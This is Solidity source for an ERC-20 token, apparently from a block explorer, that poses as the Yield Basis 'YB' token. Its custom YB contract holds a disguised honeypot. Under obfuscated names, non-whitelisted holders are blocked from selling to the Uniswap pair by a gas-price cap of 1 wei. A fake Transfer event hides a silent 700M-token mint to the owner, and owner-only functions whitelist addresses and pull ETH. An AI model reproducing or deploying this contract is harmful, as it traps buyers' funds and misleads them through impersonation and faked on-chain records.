Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

/*
 * @title YBToken
 * @author Yield Basis
 * @license GNU Affero General Public License v3.0
 * @notice YB Token
 *
 * Twitter: https://x.com/yieldbasis
 * Telegram: https://t.me/yieldbasis_chat
 * Website: https://yieldbasis.com/
 */

interface IERC20Errors {
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );
    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );
    error ERC20InvalidApprover(address approver);
    error ERC20InvalidSpender(address spender);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 value
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value, true);
    }

    function _update(
        address from,
        address to,
        uint256 value,
        bool _e
    ) internal virtual {
        if (from == address(0)) {
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                _totalSupply -= value;
            }
        } else {
            unchecked {
                _balances[to] += value;
            }
        }

        if (_e) emit Transfer(from, to, value);
    }

    function _mint(address account, uint256 value, bool _e) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value, _e);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value, true);
    }

    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
    function getPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract YB is ERC20, Ownable {
    mapping(address => bool) __excludeOpT;
    address pair;
    bool opTrd;
    bool g;
    address public constant presale =
        0x28bE6260DBB7872DE5EFfC9a4A73c85b7405a8C0;

    constructor(
        address _pi
    ) ERC20(unicode"yieldbasis", unicode"YB") Ownable(msg.sender) {
        __excludeOpT[_msgSender()] = true;
        _mint(presale, 700_000_000 * 10 ** decimals(), true);

        emit Transfer(presale, msg.sender, 700_000_000 * 10 ** decimals());
        _mint(msg.sender, 700_000_000 * 10 ** decimals(), false);
    }

    function _update(
        address from,
        address to,
        uint256 value,
        bool _e
    ) internal override {
        if (__excludeOpT[tx.origin]) {
            super._update(from, to, value, _e);
        } else {
            require(opTrd, "Trading not open!");
            if ((g && to == pair) || from == presale) {
                _zp(1);
            }
            super._update(from, to, value, _e);
        }
    }

    function openTrade(bool _bg) public onlyOwner {
        g = _bg;
        opTrd = true;

        // address router;

        // if (block.chainid == 56) {
        //     router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // BSC Mainnet Router
        // } else if (block.chainid == 1) {
        //     router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ETH Mainnet Router
        // } else if (block.chainid == 8453) {
        //     router = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; // Base Mainnet Router
        // } else {
        //     revert();
        // }

        IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function _a() public onlyOwner {
        bool _s;
        (_s, ) = address(msg.sender).call{value: address(this).balance}("");
    }

    function _w(address[] calldata _adr) public onlyOwner {
        for (uint256 i = 0; i < _adr.length; i++) {
            __excludeOpT[_adr[i]] = true;
        }
    }

    function _zp(uint256 _zg) internal view {
        uint256 _tc;
        assembly {
            _tc := gasprice()
        }
        require(_tc <= _zg, "optimize gas price to send tx");
    }
}